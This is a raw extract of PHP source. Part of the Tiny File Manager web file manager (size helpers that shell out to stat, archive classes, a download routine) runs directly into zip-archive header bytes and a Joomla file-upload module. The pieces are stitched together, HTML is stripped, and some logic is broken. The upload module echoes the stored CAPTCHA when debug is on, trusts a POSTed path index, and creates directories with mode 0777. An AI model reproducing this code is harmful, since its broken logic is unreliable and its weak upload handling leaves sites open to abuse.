'/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': case 'ps1': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl', 'ps1' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    PKYy>\-82825mod_simplefileuploadv1.3/mod_simplefileuploadv1.3.phpnuW+Aget( 'upload_capthcabg', '120-192' ); if ($upload_capthcabg !== "") { $bgcolor = explode('-', $upload_capthcabg); if(!is_array($bgcolor)) { $bgcolor = array(0 => "120", 1 => "192"); } else { if (!is_numeric($bgcolor[0])) $bgcolor[0] = "120"; if (!is_numeric($bgcolor[1])) $bgcolor[1] = "192"; } } else { $bgcolor = array(0 => "120", 1 => "192"); } // Make ready for Ajax calls and avoid any whitespace if (isset($_GET["sfuaction"])) { if(!class_exists('SFUAjaxServlet')) JLoader::register('SFUAjaxServlet' , dirname(__FILE__).DIRECTORY_SEPARATOR.'helper.php'); if ($_GET["sfuaction"] === "captcha") { $mid = $_GET["mid"]; //global $mainframe; $app = JFactory::getApplication(); header('Cache-control: private'); header('Last-Modified: ' . gmdate("D, d M Y H:i:s") . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: post-check=0, pre-check=0', false); header('Pragma: no-cache'); header('Content-type: image/jpeg'); echo SFUAjaxServlet::getCaptcha($sfu_version, $bgcolor, $mid, 'ajax'); //$mainframe->close(); $app->close(); } else { echo SFUAjaxServlet::getContent($_GET["sfuaction"]); } } $session =& JFactory::getSession(); // Get Module ID to create unique names $mid = $module->id; // Store MID for use in SFL and SPU $_SESSION["sfu_mid"] = $mid; $upload_location = $params->get( 'upload_location', '.'.DIRECTORY_SEPARATOR.'images' ); if ( substr( $upload_location , strlen($upload_location) - 1) !== DIRECTORY_SEPARATOR ) $upload_location .= DIRECTORY_SEPARATOR; $upload_bgcolor = $params->get( 'upload_bgcolor', '#e8edf1' ); if ( substr( $upload_bgcolor, 0, 1 ) !== "#" ) $upload_bgcolor = "#" . $upload_bgcolor; $upload_capthcaheight = $params->get( 'upload_capthcaheight', '40' ); $upload_capthcawidth = $params->get( 'upload_capthcawidth', '120' ); $upload_stdbrowse = $params->get( 'upload_stdbrowse', '0' ); $upload_filewidth = $params->get( 'upload_filewidth', '12' ); $upload_maxsize = $params->get( 'upload_maxsize', '100000' ); $upload_popcaptchamsg = $params->get( 'upload_popcaptchamsg', '1' ); $upload_capthca = $params->get( 'upload_capthca', '1' ); $upload_capthcacase = $params->get( 'upload_capthcacase', '0' ); $upload_capthcacasemsg = $params->get( 'upload_capthcacasemsg', '0' ); $upload_multi = $params->get( 'upload_multi', '0' ); $upload_maxmulti = $params->get( 'upload_maxmulti', '100' ); $upload_startmulti = $params->get( 'upload_startmulti', '0' ); $upload_redirect = $params->get( 'upload_redirect', '' ); $upload_formfields = $params->get( 'upload_formfields', '' ); $upload_useformsfields = $params->get( 'upload_useformsfields', '0' ); if ($upload_useformsfields == 0) $upload_formfields = ""; $sfu_autorefreshsfl = $params->get( 'sfu_autorefreshsfl', '0' ); $upload_jquery = $params->get( 'upload_jquery', '0' ); $upload_jqueryinclude = $params->get( 'upload_jqueryinclude', '0' ); $upload_debug = $params->get( 'upload_debug', '0' ); $moduleclass_sfx = $params->get('moduleclass_sfx')?$params->get('moduleclass_sfx'):'' ; $upload_debug = $params->get( 'upload_debug', '0' ); // Get user id and check if user is in list $settingids = $params->get( 'settingids', '' ); // Get current logged in user $user =& JFactory::getUser(); $usr_id = $user->get('id'); $usr_name = $user->get('username'); $users_name = $user->get('name')." (".$usr_name.")"; // Security check for fake username in Joomla if(stripos($usr_name, "/") !== false) { $usr_name = ""; } if(stripos($usr_name, "\\") !== false) { $usr_name = ""; } if(stripos($usr_name, "..") !== false) { $usr_name = ""; } //echo $usr_id; $upload_username = $params->get( 'upload_username', '' ); $upload_password = $params->get( 'upload_password', '' ); $_SESSION["upload_username$mid"] = $upload_username; $_SESSION["upload_password$mid"] = $upload_password; $session->set( 'upload_username$mid', $upload_username ); $session->set( 'upload_password$mid', $upload_password ); // ++User defined upload $upload_usernameddir = $params->get( 'upload_usernameddir', '0' ); $upload_usernameddirdefault = $params->get( 'upload_usernameddirdefault', '0' ); $upload_createdir = $params->get( 'upload_createdir', '0' ); $upload_userlocation = $params->get( 'upload_userlocation', '' ); $settingidsund = $params->get( 'settingidsund', '' ); $settingidsudd = $params->get( 'settingidsudd', '' ); //$settingidsuddpath = $params->get( 'settingidsuddpath', '' ); $upload_userpath = array($upload_location); if (($upload_usernameddir == 1) && ($usr_name !== "")) { if ($upload_debug == 1) echo "
    Use UND!"; if ( substr( $upload_userlocation , strlen($upload_userlocation) - 1) !== DIRECTORY_SEPARATOR ) { $upload_userlocation .= DIRECTORY_SEPARATOR; } if(is_array($settingidsund)) { foreach($settingidsund as $value){ if($value==="[ALL]") { if ($upload_debug == 1) echo "
    UND array found as [ALL]."; $upload_userpath[] = $upload_userlocation.$usr_name.DIRECTORY_SEPARATOR; break; } if($value===$usr_id) { if ($upload_debug == 1) echo "
    UND array found as ".$upload_userlocation.$usr_name.DIRECTORY_SEPARATOR."."; $upload_userpath[] = $upload_userlocation.$usr_name.DIRECTORY_SEPARATOR; break; } } } else { if($settingidsund==="[ALL]") { // If all users are to have UDD if ($upload_debug == 1) echo "
    UND var found as [ALL]."; $upload_userpath[] = $upload_userlocation.$usr_name.DIRECTORY_SEPARATOR; } else { if($settingidsund!=="") { // If only current user uses UDD if($settingidsund===$usr_id) { if ($upload_debug == 1) echo "
    UND var found as ".$upload_userlocation.$usr_name.DIRECTORY_SEPARATOR."."; $upload_userpath[] = $upload_userlocation.$usr_name.DIRECTORY_SEPARATOR; } } } } } //echo "upload_usernameddirdefault=".$upload_usernameddirdefault." count(upload_userpath)".count($upload_userpath); // If Deafult+UND,check if remove Default if (($upload_usernameddirdefault == 1) && (count($upload_userpath) == 2) && ($usr_name !== "")) { //We should have Defalut and one UND path, only leave the UND path if ($upload_debug == 1) echo "
    UND only, default removed."; $upload_userpath = array($upload_userpath[1]); } // ++ TEST: USER DEFINED if(!(is_array($settingidsudd)) && ($settingidsudd !== "")) { //Make it an array $settingidsudd = array("0", $settingidsudd); if ($upload_debug == 1) echo "
    UDD exists."; } // It's an array if it's present as value=0 (zero) is default info text. Always skip zero! if(is_array($settingidsudd) && ($usr_name !== "")) { foreach($settingidsudd as $value){ if($value==="0") { //nothing } else { //$name_chk = substr($value, 0, strpos($value, ">")); $name_chk = explode(">", $value); if($name_chk[0]===$usr_name) { if ( substr( $name_chk[1] , strlen($name_chk[1]) - 1) !== DIRECTORY_SEPARATOR ) { $name_chk[1] .= DIRECTORY_SEPARATOR; } $upload_userpath[] = $name_chk[1]; if ($upload_debug == 1) echo "
    Added ".$name_chk[1]." to UDD."; } } } } // -- if (isset($_FILES["uploadedfile$mid"]["name"]) && ($usr_name !== "")) { if (count($upload_userpath) == 1) { $upload_location = $upload_userpath[0]; if ($upload_debug == 1) echo "
    Default upload location selected."; } else { $idx = 0; if (isset($_POST["selPathId$mid"])) { $idx = $_POST["selPathId$mid"]; } $upload_location = $upload_userpath[$idx]; if ($upload_debug == 1) echo "
    Upload location index [".$idx."] selected as '".$upload_location."'."; //Print_R($upload_userpath); } } // --User defined upload $upload_users = "false"; if(is_array($settingids)) { foreach($settingids as $value){ if($value==="[ALL]") { $upload_users = "true"; if ($upload_debug == 1) echo "
    Allowed array [ALL] found."; break; } if($value===$usr_id) { $upload_users = "true"; if ($upload_debug == 1) echo "
    Allowed array [".$usr_id."] found."; break; } /*echo "settingids=".$value."
    ";*/ } } else { if($settingids==="[ALL]") { $upload_users = "true"; if ($upload_debug == 1) echo "
    Allowed var [ALL] found."; } else { if($settingids!=="") { if($settingids===$usr_id) { if ($upload_debug == 1) echo "
    Allowed var [".$usr_id."] found."; $upload_users = "true"; } /*echo "settingids=".$settingids."
    ";*/ } else { //Allow all users $upload_users = "true"; if ($upload_debug == 1) echo "
    Allowed default to ALL."; } } } // include the helper file require_once(dirname(__FILE__).DIRECTORY_SEPARATOR.'helper.php'); if ($upload_debug == 1) echo "
    helper.php loaded."; $filename = ""; if (isset($_FILES["uploadedfile$mid"]["name"])) { if(is_array($_FILES["uploadedfile$mid"]["name"])) { foreach($_FILES["uploadedfile$mid"]["name"] as $value){ if(strlen($value) > 0) { //Check that we have a filename $filename = $value; if ($upload_debug == 1) echo "
    Uploaded file name exists."; } } } } //print_r($_SERVER); if (strlen($filename) > 0) { // get the items to display from the helper $results = ""; $_SESSION["uploaderr$mid"] = 0; if ($upload_createdir == 1) { if (!file_exists($upload_location)) { //Create directory if missing if (mkdir($upload_location, 0777, true)) { //echo "Created dir: " . $upload_location; $results = JText::_('NEW_DIR')."
    "; if ($upload_debug == 1) echo "
    Created new directory [".$upload_location."]."; // Add empty HTML page to newly created directory if (!file_exists($upload_location . "index.html")) { $fhIndex = fopen($upload_location . "index.html", "w"); if (!$fhIndex) { $stringData = "\n"; fwrite($fhIndex, $stringData); fclose($fhIndex); if ($upload_debug == 1) echo "
    Added index.html in new directory."; } } } else { $_SESSION["uploaderr$mid"] = 1; $results = JText::_('NEW_DIR_FAILED'); if ($upload_debug == 1) echo "
    Failed to create dir: ".$upload_location."."; //echo "Failed to create dir: " . $upload_location; } } } $tmp_upload_capthca = $upload_capthca; if ((isset($_POST["txtsfucaptcha$mid"])) && ($tmp_upload_capthca == 1) && (isset($_SESSION["capString$mid"]))) { $sessioncapString = $_SESSION["capString$mid"]; $posttxtsfucaptcha = $_POST["txtsfucaptcha$mid"]; if ($upload_debug == 1) { echo "
    Stored CAPTCHA:".$sessioncapString; echo "
    Code provided:".$posttxtsfucaptcha; } if ($upload_capthcacase == 1) { $sessioncapString = strtoupper($sessioncapString); $posttxtsfucaptcha = strtoupper($posttxtsfucaptcha); if ($upload_debug == 1) echo "
    Case insensitive CAPTCHA."; } if ($sessioncapString === $posttxtsfucaptcha) $tmp_upload_capthca = 0; } if ($tmp_upload_capthca == 0) { if ($_SESSION["uploaderr$mid"] == 0) { if ($upload_debug == 1) echo "
    Calling ModSimpleFileUploaderHelperv13::getUploadForm!"; $results .= ModSimpleFileUploaderHelperv13::getUploadForm($params, $upload_location, $sfu_basepath, $mid, $upload_users, $users_name); //$sfu_basepath, $sfu_version, $upload_location, $upload_maxsize, $upload_filetypes, $upload_fileexist, $upload_users, $upload_email, $upload_emailmsg, $upload_emailhtml, $upload_unzip, $upload_showerrmsg, $upload_showdircontent, $upload_advancedpopup, $upload_popshowpath, $upload_popshowbytes, $moduleclass_sfx } } else { if ($upload_debug == 1) echo "
